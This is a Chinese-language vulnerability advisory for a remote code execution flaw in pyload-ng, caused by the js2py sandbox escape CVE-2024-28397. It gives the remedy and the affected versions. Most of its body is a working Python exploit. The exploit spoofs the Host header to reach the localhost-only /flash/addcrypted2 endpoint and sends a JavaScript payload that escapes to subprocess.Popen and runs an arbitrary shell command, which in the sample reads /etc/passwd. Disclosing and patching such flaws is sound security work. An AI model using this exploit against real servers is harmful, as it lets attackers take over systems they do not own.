
Pyload 远程代码执行(js2py 沙箱逃逸)
利用 js2py 沙箱逃逸实现 Pyload RCE
任何运行在 python3.11 或更低版本下的 pyload-ng 都存在 RCE 漏洞。攻击者可以发送包含任意 shell 命令的请求,受害服务器将立即执行该命令。
升级到最新版本的 pyload-ng,或者直接用 python3.12 或更高版本运行 pyload。
js2py 存在一个沙箱逃逸漏洞,编号为 CVE-2024-28397,该漏洞被 pyload-ng 的 /flash/addcrypted2 API 端点所使用。虽然此端点设计为仅接受 localhost 连接,但我们可以使用 HTTP Header 绕过这一限制,从而访问该 API 并实现 RCE。
PoC 如下所示,你可以修改其中执行的 shell 命令:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
所有在 python3.11 或更低版本下运行最新版本(<=0.5.0b3.dev85)pyload-ng 的用户。对于 python3.12 或更高版本,pyload-ng 不使用 js2py。